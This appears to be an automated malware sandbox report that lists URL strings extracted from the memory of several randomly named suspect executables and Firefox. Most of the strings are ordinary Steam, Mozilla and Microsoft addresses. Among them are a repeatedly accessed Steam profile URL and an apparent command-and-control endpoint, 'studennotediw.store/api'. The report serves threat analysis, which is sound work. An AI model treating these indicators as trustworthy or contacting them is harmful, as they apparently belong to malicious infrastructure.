Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.c
Source: 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/5
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/5%
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.0000000001371000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2478219685.0000000001373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/6
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/p
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2639388105.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2753459647.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2656482446.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.0000000001371000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2478219685.0000000001373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319006
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900u
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd883ccb3237fa39
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: file.exe, 00000000.00000003.1743319032.0000000005911000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2504082847.0000000005CD5000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2613688781.00000000053CE000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2641683786.00000000053A2000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2717577766.0000000005666000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/
Source: firefox.exe, 00000015.00000003.2207277685.0000016C0CDFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 00000015.00000003.2207340958.0000016C0CDEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/security-error
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000015.00000003.2086061408.0000016C0C5E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1743376640.0000000005908000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743319032.000000000590F000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2504082847.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2613688781.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2641683786.00000000053A0000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2717577766.0000000005666000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1743376640.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.000000000541F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
